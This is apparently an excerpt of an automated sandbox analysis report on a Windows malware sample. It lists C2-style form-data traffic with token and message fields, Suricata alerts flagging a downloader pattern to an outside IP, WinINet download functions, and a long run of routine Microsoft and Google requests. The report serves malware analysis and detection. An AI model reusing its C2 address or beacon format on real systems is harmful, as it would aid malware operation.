49 4a 45 2d 2d 0d 0a Data Ascii: ------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHCAAAAKJJDAKECBGIJE--

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49733 -> 109.107.157.132:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49759 -> 109.107.157.132:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49751 -> 109.107.157.132:80

Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.157.132

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_004090C0 InternetOpenA,InternetOpenUrlA,InternetCloseHandle,strlen,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,strlen,strlen,strlen,strlen,strlen,

2_2_004090C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ykRhRcU6axk3H8l&MD=29MnSylP HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ykRhRcU6axk3H8l&MD=29MnSylP HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
